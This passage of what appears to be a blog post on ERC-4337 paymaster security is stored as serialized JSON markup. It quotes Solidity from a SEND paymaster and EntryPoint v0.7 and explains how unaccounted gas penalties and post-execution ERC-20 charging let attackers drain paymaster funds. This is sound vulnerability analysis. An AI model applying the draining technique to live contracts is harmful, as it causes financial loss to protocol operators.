",{"type":24,"tag":271,"props":111109,"children":111110},{"style":624},[111111],{"type":29,"value":18165},{"type":24,"tag":271,"props":111113,"children":111114},{"style":477},[111115],{"type":29,"value":767},{"type":24,"tag":271,"props":111117,"children":111118},{"style":288},[111119],{"type":29,"value":919},{"type":24,"tag":271,"props":111121,"children":111122},{"class":273,"line":95021},[111123,111127,111131],{"type":24,"tag":271,"props":111124,"children":111125},{"style":288},[111126],{"type":29,"value":110977},{"type":24,"tag":271,"props":111128,"children":111129},{"style":598},[111130],{"type":29,"value":110982},{"type":24,"tag":271,"props":111132,"children":111133},{"style":288},[111134],{"type":29,"value":111135},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":24,"tag":271,"props":111137,"children":111138},{"class":273,"line":108367},[111139],{"type":24,"tag":271,"props":111140,"children":111141},{"style":288},[111142],{"type":29,"value":8554},{"type":24,"tag":271,"props":111144,"children":111145},{"class":273,"line":108375},[111146],{"type":24,"tag":271,"props":111147,"children":111148},{"emptyLinePlaceholder":16},[111149],{"type":29,"value":327},{"type":24,"tag":271,"props":111151,"children":111152},{"class":273,"line":108383},[111153,111158,111163],{"type":24,"tag":271,"props":111154,"children":111155},{"style":749},[111156],{"type":29,"value":111157}," emit",{"type":24,"tag":271,"props":111159,"children":111160},{"style":598},[111161],{"type":29,"value":111162}," UserOperationSponsored",{"type":24,"tag":271,"props":111164,"children":111165},{"style":288},[111166],{"type":29,"value":111167},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":24,"tag":271,"props":111169,"children":111170},{"class":273,"line":108391},[111171,111176],{"type":24,"tag":271,"props":111172,"children":111173},{"style":598},[111174],{"type":29,"value":111175}," refillEntryPointDeposit",{"type":24,"tag":271,"props":111177,"children":111178},{"style":288},[111179],{"type":29,"value":111180},"(_cachedPrice);\n",{"type":24,"tag":271,"props":111182,"children":111183},{"class":273,"line":108419},[111184],{"type":24,"tag":271,"props":111185,"children":111186},{"style":288},[111187],{"type":29,"value":7574},{"type":24,"tag":271,"props":111189,"children":111191},{"class":273,"line":111190},67,[111192],{"type":24,"tag":271,"props":111193,"children":111194},{"style":288},[111195],{"type":29,"value":4385},{"type":24,"tag":271,"props":111197,"children":111199},{"class":273,"line":111198},68,[111200],{"type":24,"tag":271,"props":111201,"children":111202},{"style":288},[111203],{"type":29,"value":1171},{"type":24,"tag":25,"props":111205,"children":111206},{},[111207,111209,111215,111217,111222,111224,111230],{"type":29,"value":111208},"Looking at the code above, during ",{"type":24,"tag":135,"props":111210,"children":111212},{"className":111211},[],[111213],{"type":29,"value":111214},"validatePaymasterUserOp",{"type":29,"value":111216},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":24,"tag":135,"props":111218,"children":111220},{"className":111219},[],[111221],{"type":29,"value":109273},{"type":29,"value":111223}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":24,"tag":135,"props":111225,"children":111227},{"className":111226},[],[111228],{"type":29,"value":111229},"postOp",{"type":29,"value":111231},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":24,"tag":25,"props":111233,"children":111234},{},[111235,111237,111242,111244,111251],{"type":29,"value":111236},"However, there is a critical oversight: ",{"type":24,"tag":213,"props":111238,"children":111239},{},[111240],{"type":29,"value":111241},"the code does not account for gas penalties",{"type":29,"value":111243},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":24,"tag":32,"props":111245,"children":111248},{"href":111246,"rel":111247},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[36],[111249],{"type":29,"value":111250},"penalties incurred",{"type":29,"value":111252}," from differences between the execution gas limit and actual execution gas.",{"type":24,"tag":25,"props":111254,"children":111255},{},[111256],{"type":29,"value":111257},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":24,"tag":25,"props":111259,"children":111260},{},[111261,111263,111268],{"type":29,"value":111262},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":24,"tag":135,"props":111264,"children":111266},{"className":111265},[],[111267],{"type":29,"value":108972},{"type":29,"value":111269}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":24,"tag":62,"props":111271,"children":111273},{"id":111272},"incorrect-erc-20-handling",[111274],{"type":24,"tag":213,"props":111275,"children":111276},{},[111277],{"type":29,"value":111278},"Incorrect ERC-20 Handling",{"type":24,"tag":25,"props":111280,"children":111281},{},[111282],{"type":29,"value":111283},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":24,"tag":25,"props":111285,"children":111286},{},[111287,111288,111293,111295,111300],{"type":29,"value":52963},{"type":24,"tag":135,"props":111289,"children":111291},{"className":111290},[],[111292],{"type":29,"value":109053},{"type":29,"value":111294}," flow above, we can see that paymasters have two key interaction points during a ",{"type":24,"tag":135,"props":111296,"children":111298},{"className":111297},[],[111299],{"type":29,"value":108972},{"type":29,"value":111301},"'s lifecycle:",{"type":24,"tag":3834,"props":111303,"children":111304},{},[111305,111315],{"type":24,"tag":101,"props":111306,"children":111307},{},[111308,111310],{"type":29,"value":111309},"During validation via ",{"type":24,"tag":135,"props":111311,"children":111313},{"className":111312},[],[111314],{"type":29,"value":109160},{"type":24,"tag":101,"props":111316,"children":111317},{},[111318,111320],{"type":29,"value":111319},"After execution via ",{"type":24,"tag":135,"props":111321,"children":111323},{"className":111322},[],[111324],{"type":29,"value":109171},{"type":24,"tag":25,"props":111326,"children":111327},{},[111328],{"type":29,"value":111329},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":24,"tag":85,"props":111331,"children":111333},{"id":111332},"_1-pre-payment-with-refund-pattern",[111334],{"type":29,"value":111335},"1. Pre-Payment with Refund Pattern",{"type":24,"tag":25,"props":111337,"children":111338},{},[111339,111341,111346,111348,111353,111355,111361,111362,111368,111370,111375,111377,111382,111384,111389],{"type":29,"value":111340},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":24,"tag":135,"props":111342,"children":111344},{"className":111343},[],[111345],{"type":29,"value":109160},{"type":29,"value":111347},". After execution completes, ",{"type":24,"tag":135,"props":111349,"children":111351},{"className":111350},[],[111352],{"type":29,"value":109171},{"type":29,"value":111354}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":24,"tag":135,"props":111356,"children":111358},{"className":111357},[],[111359],{"type":29,"value":111360},"SEND",{"type":29,"value":518},{"type":24,"tag":135,"props":111363,"children":111365},{"className":111364},[],[111366],{"type":29,"value":111367},"Circle",{"type":29,"value":111369}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":24,"tag":135,"props":111371,"children":111373},{"className":111372},[],[111374],{"type":29,"value":109001},{"type":29,"value":111376},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":24,"tag":213,"props":111378,"children":111379},{},[111380],{"type":29,"value":111381},"before",{"type":29,"value":111383}," execution (specifically during ",{"type":24,"tag":135,"props":111385,"children":111387},{"className":111386},[],[111388],{"type":29,"value":111214},{"type":29,"value":28429},{"type":24,"tag":85,"props":111391,"children":111393},{"id":111392},"_2-post-execution-charging-pattern",[111394],{"type":29,"value":111395},"2. Post-Execution Charging Pattern",{"type":24,"tag":25,"props":111397,"children":111398},{},[111399,111401,111406,111408,111413,111415,111420,111422,111427],{"type":29,"value":111400},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":24,"tag":135,"props":111402,"children":111404},{"className":111403},[],[111405],{"type":29,"value":109160},{"type":29,"value":111407},", the actual token payment is calculated and collected in ",{"type":24,"tag":135,"props":111409,"children":111411},{"className":111410},[],[111412],{"type":29,"value":109171},{"type":29,"value":111414}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":24,"tag":135,"props":111416,"children":111418},{"className":111417},[],[111419],{"type":29,"value":108972},{"type":29,"value":111421},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":24,"tag":135,"props":111423,"children":111425},{"className":111424},[],[111426],{"type":29,"value":109273},{"type":29,"value":111428},". This means users could interact with the paymaster without any prior setup.",{"type":24,"tag":25,"props":111430,"children":111431},{},[111432,111434,111439,111441,111447,111449,111455,111457,111462],{"type":29,"value":111433},"This approach used to work in ",{"type":24,"tag":135,"props":111435,"children":111437},{"className":111436},[],[111438],{"type":29,"value":109053},{"type":29,"value":111440}," version ",{"type":24,"tag":135,"props":111442,"children":111444},{"className":111443},[],[111445],{"type":29,"value":111446},"v0.6",{"type":29,"value":111448},", but the pattern no longer works in ",{"type":24,"tag":135,"props":111450,"children":111452},{"className":111451},[],[111453],{"type":29,"value":111454},"v0.7",{"type":29,"value":111456},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":24,"tag":135,"props":111458,"children":111460},{"className":111459},[],[111461],{"type":29,"value":111454},{"type":29,"value":111463}," handles the execution phase:",{"type":24,"tag":261,"props":111465,"children":111467},{"className":12193,"code":111466,"language":12192,"meta":7,"style":7}," function _executeUserOp(\n uint256 opIndex,\n PackedUserOperation calldata userOp,\n UserOpInfo memory opInfo\n )\n internal virtual\n returns (uint256 collected) {\n [...]\n bool success;\n {\n [...]\n if (methodSig == IAccountExecute.executeUserOp.selector) {\n bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n } else\n {\n innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n }\n assembly (\"memory-safe\") {\n success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n collected := mload(0)\n }\n _restoreFreePtr(saveFreePtr);\n }\n if (!success) {\n [...]\n if (innerRevertCode == INNER_OUT_OF_GAS) {\n // handleOps was called with gas limit too low. abort entire bundle.\n // can only be caused by bundler (leaving not enough gas for inner call)\n revert FailedOp(opIndex, \"AA95 out of gas\");\n } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n uint256 actualGasCost = opInfo.prefund;\n _emitPrefundTooLow(opInfo);\n _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n collected = actualGasCost;\n } else {\n [...]\n collected = _postExecution(\n IPaymaster.PostOpMode.postOpReverted,\n opInfo,\n context,\n actualGas\n );\n }\n }\n }\n",[111468],{"type":24,"tag":135,"props":111469,"children":111470},{"__ignoreMap":7},[111471,111487,111503,111523,111540,111547,111560,111584,111592,111605,111612,111619,111640,111679,111716,111728,111735,111771,111778,111799,111888,111917,111924,111937,111944,111964,111971,111992,112000,112008,112035,112063,112071,112114,112134,112147,112169,112185,112200,112207,112227,112235,112243,112251,112259,112267,112274,112281],{"type":24,"tag":271,"props":111472,"children":111473},{"class":273,"line":274},[111474,111478,111483],{"type":24,"tag":271,"props":111475,"children":111476},{"style":278},[111477],{"type":29,"value":96621},{"type":24,"tag":271,"props":111479,"children":111480},{"style":598},[111481],{"type":29,"value":111482}," _executeUserOp",{"type":24,"tag":271,"props":111484,"children":111485},{"style":288},[111486],{"type":29,"value":4028},{"type":24,"tag":271,"props":111488,"children":111489},{"class":273,"line":284},[111490,111494,111499],{"type":24,"tag":271,"props":111491,"children":111492},{"style":3887},[111493],{"type":29,"value":96799},{"type":24,"tag":271,"props":111495,"children":111496},{"style":630},[111497],{"type":29,"value":111498}," opIndex",{"type":24,"tag":271,"props":111500,"children":111501},{"style":288},[111502],{"type":29,"value":638},{"type":24,"tag":271,"props":111504,"children":111505},{"class":273,"line":294},[111506,111511,111515,111519],{"type":24,"tag":271,"props":111507,"children":111508},{"style":278},[111509],{"type":29,"value":111510}," PackedUserOperation",{"type":24,"tag":271,"props":111512,"children":111513},{"style":278},[111514],{"type":29,"value":109802},{"type":24,"tag":271,"props":111516,"children":111517},{"style":630},[111518],{"type":29,"value":109807},{"type":24,"tag":271,"props":111520,"children":111521},{"style":288},[111522],{"type":29,"value":638},{"type":24,"tag":271,"props":111524,"children":111525},{"class":273,"line":303},[111526,111531,111535],{"type":24,"tag":271,"props":111527,"children":111528},{"style":278},[111529],{"type":29,"value":111530}," UserOpInfo",{"type":24,"tag":271,"props":111532,"children":111533},{"style":278},[111534],{"type":29,"value":109870},{"type":24,"tag":271,"props":111536,"children":111537},{"style":630},[111538],{"type":29,"value":111539}," opInfo\n",{"type":24,"tag":271,"props":111541,"children":111542},{"class":273,"line":312},[111543],{"type":24,"tag":271,"props":111544,"children":111545},{"style":288},[111546],{"type":29,"value":31595},{"type":24,"tag":271,"props":111548,"children":111549},{"class":273,"line":321},[111550,111555],{"type":24,"tag":271,"props":111551,"children":111552},{"style":278},[111553],{"type":29,"value":111554}," internal",{"type":24,"tag":271,"props":111556,"children":111557},{"style":278},[111558],{"type":29,"value":111559}," virtual\n",{"type":24,"tag":271,"props":111561,"children":111562},{"class":273,"line":330},[111563,111567,111571,111575,111580],{"type":24,"tag":271,"props":111564,"children":111565},{"style":749},[111566],{"type":29,"value":54175},{"type":24,"tag":271,"props":111568,"children":111569},{"style":288},[111570],{"type":29,"value":1357},{"type":24,"tag":271,"props":111572,"children":111573},{"style":3887},[111574],{"type":29,"value":53835},{"type":24,"tag":271,"props":111576,"children":111577},{"style":630},[111578],{"type":29,"value":111579}," collected",{"type":24,"tag":271,"props":111581,"children":111582},{"style":288},[111583],{"type":29,"value":919},{"type":24,"tag":271,"props":111585,"children":111586},{"class":273,"line":339},[111587],{"type":24,"tag":271,"props":111588,"children":111589},{"style":288},[111590],{"type":29,"value":111591}," [...]\n",{"type":24,"tag":271,"props":111593,"children":111594},{"class":273,"line":347},[111595,111600],{"type":24,"tag":271,"props":111596,"children":111597},{"style":3887},[111598],{"type":29,"value":111599}," bool",{"type":24,"tag":271,"props":111601,"children":111602},{"style":288},[111603],{"type":29,"value":111604}," success;\n",{"type":24,"tag":271,"props":111606,"children":111607},{"class":273,"line":356},[111608],{"type":24,"tag":271,"props":111609,"children":111610},{"style":288},[111611],{"type":29,"value":7545},{"type":24,"tag":271,"props":111613,"children":111614},{"class":273,"line":365},[111615],{"type":24,"tag":271,"props":111616,"children":111617},{"style":288},[111618],{"type":29,"value":111591},{"type":24,"tag":271,"props":111620,"children":111621},{"class":273,"line":374},[111622,111626,111631,111635],{"type":24,"tag":271,"props":111623,"children":111624},{"style":749},[111625],{"type":29,"value":8468},{"type":24,"tag":271,"props":111627,"children":111628},{"style":288},[111629],{"type":29,"value":111630}," (methodSig ",{"type":24,"tag":271,"props":111632,"children":111633},{"style":624},[111634],{"type":29,"value":5059},{"type":24,"tag":271,"props":111636,"children":111637},{"style":288},[111638],{"type":29,"value":111639}," IAccountExecute.executeUserOp.selector) {\n",{"type":24,"tag":271,"props":111641,"children":111642},{"class":273,"line":384},[111643,111648,111652,111657,111661,111665,111669,111674],{"type":24,"tag":271,"props":111644,"children":111645},{"style":3887},[111646],{"type":29,"value":111647}," bytes",{"type":24,"tag":271,"props":111649,"children":111650},{"style":278},[111651],{"type":29,"value":109870},{"type":24,"tag":271,"props":111653,"children":111654},{"style":288},[111655],{"type":29,"value":111656}," executeUserOp ",{"type":24,"tag":271,"props":111658,"children":111659},{"style":624},[111660],{"type":29,"value":762},{"type":24,"tag":271,"props":111662,"children":111663},{"style":278},[111664],{"type":29,"value":110467},{"type":24,"tag":271,"props":111666,"children":111667},{"style":288},[111668],{"type":29,"value":41},{"type":24,"tag":271,"props":111670,"children":111671},{"style":598},[111672],{"type":29,"value":111673},"encodeCall",{"type":24,"tag":271,"props":111675,"children":111676},{"style":288},[111677],{"type":29,"value":111678},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":24,"tag":271,"props":111680,"children":111681},{"class":273,"line":393},[111682,111687,111691,111695,111699,111703,111707,111711],{"type":24,"tag":271,"props":111683,"children":111684},{"style":288},[111685],{"type":29,"value":111686}," innerCall ",{"type":24,"tag":271,"props":111688,"children":111689},{"style":624},[111690],{"type":29,"value":762},{"type":24,"tag":271,"props":111692,"children":111693},{"style":278},[111694],{"type":29,"value":110467},{"type":24,"tag":271,"props":111696,"children":111697},{"style":288},[111698],{"type":29,"value":41},{"type":24,"tag":271,"props":111700,"children":111701},{"style":598},[111702],{"type":29,"value":111673},{"type":24,"tag":271,"props":111704,"children":111705},{"style":288},[111706],{"type":29,"value":606},{"type":24,"tag":271,"props":111708,"children":111709},{"style":278},[111710],{"type":29,"value":25385},{"type":24,"tag":271,"props":111712,"children":111713},{"style":288},[111714],{"type":29,"value":111715},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":24,"tag":271,"props":111717,"children":111718},{"class":273,"line":402},[111719,111723],{"type":24,"tag":271,"props":111720,"children":111721},{"style":288},[111722],{"type":29,"value":77382},{"type":24,"tag":271,"props":111724,"children":111725},{"style":749},[111726],{"type":29,"value":111727},"else\n",{"type":24,"tag":271,"props":111729,"children":111730},{"class":273,"line":411},[111731],{"type":24,"tag":271,"props":111732,"children":111733},{"style":288},[111734],{"type":29,"value":8534},{"type":24,"tag":271,"props":111736,"children":111737},{"class":273,"line":420},[111738,111742,111746,111750,111754,111758,111762,111766],{"type":24,"tag":271,"props":111739,"children":111740},{"style":288},[111741],{"type":29,"value":111686},{"type":24,"tag":271,"props":111743,"children":111744},{"style":624},[111745],{"type":29,"value":762},{"type":24,"tag":271,"props":111747,"children":111748},{"style":278},[111749],{"type":29,"value":110467},{"type":24,"tag":271,"props":111751,"children":111752},{"style":288},[111753],{"type":29,"value":41},{"type":24,"tag":271,"props":111755,"children":111756},{"style":598},[111757],{"type":29,"value":111673},{"type":24,"tag":271,"props":111759,"children":111760},{"style":288},[111761],{"type":29,"value":606},{"type":24,"tag":271,"props":111763,"children":111764},{"style":278},[111765],{"type":29,"value":25385},{"type":24,"tag":271,"props":111767,"children":111768},{"style":288},[111769],{"type":29,"value":111770},".innerHandleOp, (callData, opInfo, context));\n",{"type":24,"tag":271,"props":111772,"children":111773},{"class":273,"line":429},[111774],{"type":24,"tag":271,"props":111775,"children":111776},{"style":288},[111777],{"type":29,"value":8554},{"type":24,"tag":271,"props":111779,"children":111780},{"class":273,"line":438},[111781,111786,111790,111795],{"type":24,"tag":271,"props":111782,"children":111783},{"style":598},[111784],{"type":29,"value":111785}," assembly",{"type":24,"tag":271,"props":111787,"children":111788},{"style":288},[111789],{"type":29,"value":1357},{"type":24,"tag":271,"props":111791,"children":111792},{"style":378},[111793],{"type":29,"value":111794},"\"memory-safe\"",{"type":24,"tag":271,"props":111796,"children":111797},{"style":288},[111798],{"type":29,"value":919},{"type":24,"tag":271,"props":111800,"children":111801},{"class":273,"line":447},[111802,111807,111811,111815,111819,111824,111828,111832,111836,111840,111844,111848,111853,111858,111862,111867,111872,111876,111880,111884],{"type":24,"tag":271,"props":111803,"children":111804},{"style":288},[111805],{"type":29,"value":111806}," success ",{"type":24,"tag":271,"props":111808,"children":111809},{"style":624},[111810],{"type":29,"value":29292},{"type":24,"tag":271,"props":111812,"children":111813},{"style":598},[111814],{"type":29,"value":48628},{"type":24,"tag":271,"props":111816,"children":111817},{"style":288},[111818],{"type":29,"value":606},{"type":24,"tag":271,"props":111820,"children":111821},{"style":598},[111822],{"type":29,"value":111823},"gas",{"type":24,"tag":271,"props":111825,"children":111826},{"style":288},[111827],{"type":29,"value":26067},{"type":24,"tag":271,"props":111829,"children":111830},{"style":3887},[111831],{"type":29,"value":40311},{"type":24,"tag":271,"props":111833,"children":111834},{"style":288},[111835],{"type":29,"value":26067},{"type":24,"tag":271,"props":111837,"children":111838},{"style":477},[111839],{"type":29,"value":4121},{"type":24,"tag":271,"props":111841,"children":111842},{"style":288},[111843],{"type":29,"value":158},{"type":24,"tag":271,"props":111845,"children":111846},{"style":598},[111847],{"type":29,"value":17344},{"type":24,"tag":271,"props":111849,"children":111850},{"style":288},[111851],{"type":29,"value":111852},"(innerCall, ",{"type":24,"tag":271,"props":111854,"children":111855},{"style":477},[111856],{"type":29,"value":111857},"0x20",{"type":24,"tag":271,"props":111859,"children":111860},{"style":288},[111861],{"type":29,"value":22874},{"type":24,"tag":271,"props":111863,"children":111864},{"style":598},[111865],{"type":29,"value":111866},"mload",{"type":24,"tag":271,"props":111868,"children":111869},{"style":288},[111870],{"type":29,"value":111871},"(innerCall), ",{"type":24,"tag":271,"props":111873,"children":111874},{"style":477},[111875],{"type":29,"value":4121},{"type":24,"tag":271,"props":111877,"children":111878},{"style":288},[111879],{"type":29,"value":158},{"type":24,"tag":271,"props":111881,"children":111882},{"style":477},[111883],{"type":29,"value":10025},{"type":24,"tag":271,"props":111885,"children":111886},{"style":288},[111887],{"type":29,"value":694},{"type":24,"tag":271,"props":111889,"children":111890},{"class":273,"line":455},[111891,111896,111900,111905,111909,111913],{"type":24,"tag":271,"props":111892,"children":111893},{"style":288},[111894],{"type":29,"value":111895}," collected ",{"type":24,"tag":271,"props":111897,"children":111898},{"style":624},[111899],{"type":29,"value":29292},{"type":24,"tag":271,"props":111901,"children":111902},{"style":598},[111903],{"type":29,"value":111904}," mload",{"type":24,"tag":271,"props":111906,"children":111907},{"style":288},[111908],{"type":29,"value":606},{"type":24,"tag":271,"props":111910,"children":111911},{"style":477},[111912],{"type":29,"value":4121},{"type":24,"tag":271,"props":111914,"children":111915},{"style":288},[111916],{"type":29,"value":694},{"type":24,"tag":271,"props":111918,"children":111919},{"class":273,"line":464},[111920],{"type":24,"tag":271,"props":111921,"children":111922},{"style":288},[111923],{"type":29,"value":8554},{"type":24,"tag":271,"props":111925,"children":111926},{"class":273,"line":473},[111927,111932],{"type":24,"tag":271,"props":111928,"children":111929},{"style":598},[111930],{"type":29,"value":111931}," _restoreFreePtr",{"type":24,"tag":271,"props":111933,"children":111934},{"style":288},[111935],{"type":29,"value":111936},"(saveFreePtr);\n",{"type":24,"tag":271,"props":111938,"children":111939},{"class":273,"line":483},[111940],{"type":24,"tag":271,"props":111941,"children":111942},{"style":288},[111943],{"type":29,"value":7574},{"type":24,"tag":271,"props":111945,"children":111946},{"class":273,"line":491},[111947,111951,111955,111959],{"type":24,"tag":271,"props":111948,"children":111949},{"style":749},[111950],{"type":29,"value":7512},{"type":24,"tag":271,"props":111952,"children":111953},{"style":288},[111954],{"type":29,"value":1357},{"type":24,"tag":271,"props":111956,"children":111957},{"style":624},[111958],{"type":29,"value":1818},{"type":24,"tag":271,"props":111960,"children":111961},{"style":288},[111962],{"type":29,"value":111963},"success) {\n",{"type":24,"tag":271,"props":111965,"children":111966},{"class":273,"line":499},[111967],{"type":24,"tag":271,"props":111968,"children":111969},{"style":288},[111970],{"type":29,"value":111591},{"type":24,"tag":271,"props":111972,"children":111973},{"class":273,"line":3188},[111974,111978,111983,111987],{"type":24,"tag":271,"props":111975,"children":111976},{"style":749},[111977],{"type":29,"value":8468},{"type":24,"tag":271,"props":111979,"children":111980},{"style":288},[111981],{"type":29,"value":111982}," (innerRevertCode ",{"type":24,"tag":271,"props":111984,"children":111985},{"style":624},[111986],{"type":29,"value":5059},{"type":24,"tag":271,"props":111988,"children":111989},{"style":288},[111990],{"type":29,"value":111991}," INNER_OUT_OF_GAS) {\n",{"type":24,"tag":271,"props":111993,"children":111994},{"class":273,"line":3247},[111995],{"type":24,"tag":271,"props":111996,"children":111997},{"style":2058},[111998],{"type":29,"value":111999}," // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":24,"tag":271,"props":112001,"children":112002},{"class":273,"line":3255},[112003],{"type":24,"tag":271,"props":112004,"children":112005},{"style":2058},[112006],{"type":29,"value":112007}," // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":24,"tag":271,"props":112009,"children":112010},{"class":273,"line":3263},[112011,112016,112021,112026,112031],{"type":24,"tag":271,"props":112012,"children":112013},{"style":749},[112014],{"type":29,"value":112015}," revert",{"type":24,"tag":271,"props":112017,"children":112018},{"style":598},[112019],{"type":29,"value":112020}," FailedOp",{"type":24,"tag":271,"props":112022,"children":112023},{"style":288},[112024],{"type":29,"value":112025},"(opIndex, ",{"type":24,"tag":271,"props":112027,"children":112028},{"style":378},[112029],{"type":29,"value":112030},"\"AA95 out of gas\"",{"type":24,"tag":271,"props":112032,"children":112033},{"style":288},[112034],{"type":29,"value":1155},{"type":24,"tag":271,"props":112036,"children":112037},{"class":273,"line":3293},[112038,112042,112046,112050,112054,112058],{"type":24,"tag":271,"props":112039,"children":112040},{"style":288},[112041],{"type":29,"value":77382},{"type":24,"tag":271,"props":112043,"children":112044},{"style":749},[112045],{"type":29,"value":11044},{"type":24,"tag":271,"props":112047,"children":112048},{"style":749},[112049],{"type":29,"value":1352},{"type":24,"tag":271,"props":112051,"children":112052},{"style":288},[112053],{"type":29,"value":111982},{"type":24,"tag":271,"props":112055,"children":112056},{"style":624},[112057],{"type":29,"value":5059},{"type":24,"tag":271,"props":112059,"children":112060},{"style":288},[112061],{"type":29,"value":112062}," INNER_REVERT_LOW_PREFUND) {\n",{"type":24,"tag":271,"props":112064,"children":112065},{"class":273,"line":3301},[112066],{"type":24,"tag":271,"props":112067,"children":112068},{"style":2058},[112069],{"type":29,"value":112070}," // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":24,"tag":271,"props":112072,"children":112073},{"class":273,"line":3683},[112074,112078,112083,112087,112092,112096,112101,112105,112109],{"type":24,"tag":271,"props":112075,"children":112076},{"style":3887},[112077],{"type":29,"value":110250},{"type":24,"tag":271,"props":112079,"children":112080},{"style":288},[112081],{"type":29,"value":112082}," actualGas ",{"type":24,"tag":271,"props":112084,"children":112085},{"style":624},[112086],{"type":29,"value":762},{"type":24,"tag":271,"props":112088,"children":112089},{"style":288},[112090],{"type":29,"value":112091}," preGas ",{"type":24,"tag":271,"props":112093,"children":112094},{"style":624},[112095],{"type":29,"value":9821},{"type":24,"tag":271,"props":112097,"children":112098},{"style":278},[112099],{"type":29,"value":112100}," gasleft",{"type":24,"tag":271,"props":112102,"children":112103},{"style":288},[112104],{"type":29,"value":21742},{"type":24,"tag":271,"props":112106,"children":112107},{"style":624},[112108],{"type":29,"value":1012},{"type":24,"tag":271,"props":112110,"children":112111},{"style":288},[112112],{"type":29,"value":112113}," opInfo.preOpGas;\n",{"type":24,"tag":271,"props":112115,"children":112116},{"class":273,"line":4486},[112117,112121,112125,112129],{"type":24,"tag":271,"props":112118,"children":112119},{"style":3887},[112120],{"type":29,"value":110250},{"type":24,"tag":271,"props":112122,"children":112123},{"style":288},[112124],{"type":29,"value":110897},{"type":24,"tag":271,"props":112126,"children":112127},{"style":624},[112128],{"type":29,"value":762},{"type":24,"tag":271,"props":112130,"children":112131},{"style":288},[112132],{"type":29,"value":112133}," opInfo.prefund;\n",{"type":24,"tag":271,"props":112135,"children":112136},{"class":273,"line":4509},[112137,112142],{"type":24,"tag":271,"props":112138,"children":112139},{"style":598},[112140],{"type":29,"value":112141}," _emitPrefundTooLow",{"type":24,"tag":271,"props":112143,"children":112144},{"style":288},[112145],{"type":29,"value":112146},"(opInfo);\n",{"type":24,"tag":271,"props":112148,"children":112149},{"class":273,"line":4545},[112150,112155,112160,112164],{"type":24,"tag":271,"props":112151,"children":112152},{"style":598},[112153],{"type":29,"value":112154}," _emitUserOperationEvent",{"type":24,"tag":271,"props":112156,"children":112157},{"style":288},[112158],{"type":29,"value":112159},"(opInfo, ",{"type":24,"tag":271,"props":112161,"children":112162},{"style":278},[112163],{"type":29,"value":15890},{"type":24,"tag":271,"props":112165,"children":112166},{"style":288},[112167],{"type":29,"value":112168},", actualGasCost, actualGas);\n",{"type":24,"tag":271,"props":112170,"children":112171},{"class":273,"line":4591},[112172,112176,112180],{"type":24,"tag":271,"props":112173,"children":112174},{"style":288},[112175],{"type":29,"value":111895},{"type":24,"tag":271,"props":112177,"children":112178},{"style":624},[112179],{"type":29,"value":762},{"type":24,"tag":271,"props":112181,"children":112182},{"style":288},[112183],{"type":29,"value":112184}," actualGasCost;\n",{"type":24,"tag":271,"props":112186,"children":112187},{"class":273,"line":4628},[112188,112192,112196],{"type":24,"tag":271,"props":112189,"children":112190},{"style":288},[112191],{"type":29,"value":77382},{"type":24,"tag":271,"props":112193,"children":112194},{"style":749},[112195],{"type":29,"value":11044},{"type":24,"tag":271,"props":112197,"children":112198},{"style":288},[112199],{"type":29,"value":7145},{"type":24,"tag":271,"props":112201,"children":112202},{"class":273,"line":4658},[112203],{"type":24,"tag":271,"props":112204,"children":112205},{"style":288},[112206],{"type":29,"value":111591},{"type":24,"tag":271,"props":112208,"children":112209},{"class":273,"line":4666},[112210,112214,112218,112223],{"type":24,"tag":271,"props":112211,"children":112212},{"style":288},[112213],{"type":29,"value":111895},{"type":24,"tag":271,"props":112215,"children":112216},{"style":624},[112217],{"type":29,"value":762},{"type":24,"tag":271,"props":112219,"children":112220},{"style":598},[112221],{"type":29,"value":112222}," 